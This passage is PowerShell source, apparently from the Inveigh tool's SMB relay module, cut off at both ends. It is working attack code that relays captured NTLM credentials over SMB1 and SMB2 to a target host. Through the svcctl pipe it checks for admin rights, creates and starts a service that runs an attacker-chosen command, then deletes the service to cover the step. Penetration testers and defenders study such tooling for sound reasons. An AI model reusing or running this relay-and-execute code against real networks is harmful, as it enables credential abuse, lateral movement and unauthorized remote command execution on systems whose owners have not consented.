'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute SMB relay command on $Target") > $null + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + $SMB_relay_failed = $true + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service creation failed on $Target") > $null + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay command executed on $Target") > $null + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service failed to start on $Target") > $null + } + + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service deleted on $Target") > $null + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $SMB_client_stage = 'Exit' + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay failed on $Target") > $null + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID = 4 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m 150 + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditCharge"] = 0x10,0x00 + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has required privilege on $Target") > $null + + if($Attack -eq 'Session') + { + $SMB_administrator = $true + $SMB_close_service_handle_stage = 2 + $SMB2_message_ID += 19 + $SMB_client_stage = 'CloseServiceHandle' + } + elseif($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + if(!$inveigh.relay_list.Contains("$HTTP_source_IP $Target")) + { + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + } + + if($Attack -ne 'Session') + { + $SMB_relay_failed = $true + $inveigh.relay_list.Add("0 $HTTP_source_IP $HTTP_username_full $Target") + } + + $inveigh.output_queue.Add("[!] $(Get-Date -format s) $HTTP_username_full does not have required privilege on $Target") > $null + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $SMB_close_service_handle_stage = 2 + $SMB2_message_ID += 19 + $SMB_client_stage = 'CloseServiceHandle' + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service creation failed on $Target") > $null + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] command executed on $Target") > $null + } + 